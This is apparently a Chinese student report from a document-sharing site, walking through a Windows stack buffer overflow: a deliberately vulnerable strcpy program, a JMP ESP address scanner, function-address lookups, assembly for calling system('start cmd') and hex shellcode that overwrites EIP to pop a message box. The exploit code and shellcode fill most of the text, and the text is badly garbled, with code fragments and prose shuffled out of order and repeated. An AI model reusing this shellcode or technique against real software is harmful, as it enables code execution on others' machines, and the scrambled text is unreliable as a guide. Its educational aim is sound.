缓冲区溢出实例分析

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
"\x6a\x6b\x6c\x6d"
"\xd8\xfc\x93\x7c"
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
void main()
{
_asm//在vc++下是实现汇编,必须用_asm才可以
{
push ebp //将栈底指针压入堆栈
mov ebp,esp//将堆栈指针指向栈底指针
xor eax,eax//将eax清零
push eax//构建堆栈,一个寄存器四个字节,4的倍数,所以一共三个堆栈
push eax
int main()
{
char output[8];
LoadLibrary("user32.dll");
strcpy(output,name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
执行这个程序后,程序先不会出现缓冲区溢出的错误,会先弹出一个消息对话框(messagebox)出来。这样就利用了漏洞。
printf("LoadLibrary=//x%x\n",LoadLibrary);//得到LoadLibrary地址
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd);
LibHandle = LoadLibrary("user32.dll");//得到user32和MessageBoxA地址
那么如何写成汇编语言呢?
这里有个一通用的格式:
Push ebp
Mov ebp,esp
Xor eax eax
Push eax
Mov byte ptr[ebp-xh],xx
Lea eax,[ebp-xh]
Push eax
Mov eax,0x函数地址
Call eax
所以改写程序如下:
#include <windows.h>
return 0;
}
调试结果如下图:
以上是运行结构,图中所示地址(0x72716f6e)是代码中红色的部分,所以这里是EIP,所以程序就显而易见了
步骤二、
我们找到了漏洞所在的地址,但是我们还需找到本机的JMP ESP的地址,每一台机子的JMP ESP都不一样,所以,我们用了一个小程序找它的地址,这个程序是在网上找的,具体什么意思也没有仔细分析。
"\x50\x53\xB8"
"\xea\x07\xd5\x77"//messagebox在本机的地址
"\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
将这些shellcode与程序一起写上,那么执行到JMP ESP的时候就可以执行shellcode了,这样就实现了利用缓冲区漏洞。
在我们所研究的题目“buffer overflow缓冲区溢出实例分析”,是基于对堆栈溢出的分析
步骤:
1、首先我们编写了一个漏洞利用程序。
2、漏洞发掘
3、Shellcode
4、利用漏洞
堆栈的组成:
堆栈由数据存储区、EBP(栈底指针)、EIP(指令寄存器,指向下一条指令的地址)
详细分析:
编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要找到这个漏洞,我们需用shellcode进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP),如果EIP指向的下一个地址不存在,那么它就出错,警告你哪里的指令引用的地址内存不能为“read”,那么那个地址就是EIP所在的位子,由于每一个地址空间都是4个字节,所以EBP和EIP都占4个字节,所以在出错的地址前4个地址就是EBP的地址。
"\xd8\xfc\x93\x7c"
"\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码
"\x50\x53\xB8"
"\x8A\x05\xD5\x77"//messagebox在本机的地址
"\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
printf("\nuser32 LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
//此处的A是指在windows下,而换成W则在linux下,去掉则只会显示地址为0
printf("MessageBox = //x%x\n", ProcAdd);
#include "string.h"
#include "windows.h"
char name[]=
"\x61\x62\x63\x64"//name[0]-name[3]
"\x65\x66\x67\x68"//name[4]-name[7]
"\x6a\x6b\x6c\x6d"//EBP
"\x6e\x6f\x71\x72"//EIP
return 0;
}
这样得到的地址如下图:
下一个我们要实现的功能是弹出一个dos对话框,首先我们程序为
#include <windows.h>
void main()
{
LoadLibrary("msvcrt.dll");
system("start cmd");
exit(0);
}
为了得到准确的机器码,所以接下来我们需要将这些代码转为汇编语言,
程序如下:
#include "stdio.h"
#include "string.h"
#include "windows.h"
char name[]=//"abcdefghijklmnopqrst";
"\x61\x62\x63\x64"
"\x65\x66\x67\x68"
"\x6a\x6b\x6c\x6d"
mov byte ptr [ebp-07h],74h
mov byte ptr [ebp-06h],2eh
mov byte ptr [ebp-05h],64h
mov byte ptr [ebp-04h],6ch
mov byte ptr [ebp-03h],6ch
lea eax,[ebp-0ch]//eax里面装载的是msvcrt.dll的地址
}
BYTE* ptr=(BYTE*)h;
bool done=false;
for(int y=0;!done;y++)
{try
{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
{int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}}
程序如下:<程序二>
#include<windows.h>
#include<iostream.h>
#include<tchar.h>
int main()
{
int nRetCode=0;
bool we_load_it=false;//定义一个bool类型的,赋值false
HINSTANCE h;
TCHAR dllname[]=_T("ntdll");
分析一个buffer overflow漏洞实例
什么是缓冲区溢出?
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈".在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
对于shellcode的来源,我们要利用程序找到机器码才行,但是如果只是利用程序中调试的机器码,是行不通的,首先需要将程序写成汇编语言,然后才寻找机器码。
在这之前我们需要利用程序找到几个有用的函数地址。
<程序三>
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");//得到msvcrt和system地址
printf("msvcrt LibHandle = //x%x\n", LibHandle);
push eax
mov byte ptr [ebp-0ch],6dh//将msvcrt.dll压入堆栈,遵循先进后出的原则
mov byte ptr [ebp-0bh],73h//地址依次增大
mov byte ptr [ebp-0ah],76h
mov byte ptr [ebp-09h],63h
mov byte ptr [ebp-08h],72h
push eax
mov eax,0x7c801d7b//这里是本机器中LoadLibrary的地址
call eax
// system("start cmd");
push ebp
mov ebp,esp
xor edi,edi
push edi
push edi
push edi
mov byte ptr [ebp-0ch],73h
mov byte ptr [ebp-0bh],74h
mov byte ptr [ebp-0ah],61h
mov byte ptr [ebp-09h],72h
mov byte ptr [ebp-08h],74h
mov byte ptr [ebp-07h],20h
mov byte ptr [ebp-06h],63h
所以将EIP的地址改成JMP ESP的地址,那样就能通过这个地址,跳转,执行你想要的shellcode。
步骤3、
添加必要的shellcode,执行
"\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码
h=GetModuleHandle(dllname);//动态链接库的地址
if(h==NULL)
{h=LoadLibrary(dllname);
if(h==NULL)
{cout<<"ERROR LOADING DLL:"<<dllname<<endl;//输出地址
return 1;
}
we_load_it=true;
mov byte ptr [ebp-05h],6dh
mov byte ptr [ebp-04h],64h
lea edi,[ebp-0ch]
push edi
mov edx,0x77bf93c7//这是本机器system的地址
call edx
}Leabharlann Baidu
exit(0);
}
这样就完成了汇编语言,然后按F10进入调试界面,调出机器码(Disassembly键)
catch(...)//捕获地址
{
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}
if(we_load_it)
FreeLibrary(h);
return nRetCode;
}
这样运行后,找到了本机JMP ESP的地址:0x7c93fcd8
将各个机器码写成shellcode的形式,如下面的程序:
#include "stdio.h"
#include "string.h"
#include "windows.h"
char name[]=//"abcdefghijklmnopqrst";
"\x61\x62\x63\x64"
"\x65\x66\x67\x68"
为了利用漏洞,我们就必须利用EIP的这个空间,将这个地址用JMP ESP来赋值,这样EIP—>JMP ESP,这样程序执行到了EIP的地址空间时,就会跳转去执行JMP ESP,这样就会执行另一个shellcode的代码,这样我们就利用了缓冲区的漏洞。
步骤一、
编写一个漏洞分析代码<程序一>
#include "stdio.h"
"\x73\x74\x75\x76"
"\x77\x78\x7a\x7b";
int main()
{
char output[8];
LoadLibrary("user32.dll");
strcpy(output,name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
相关文档
最新文档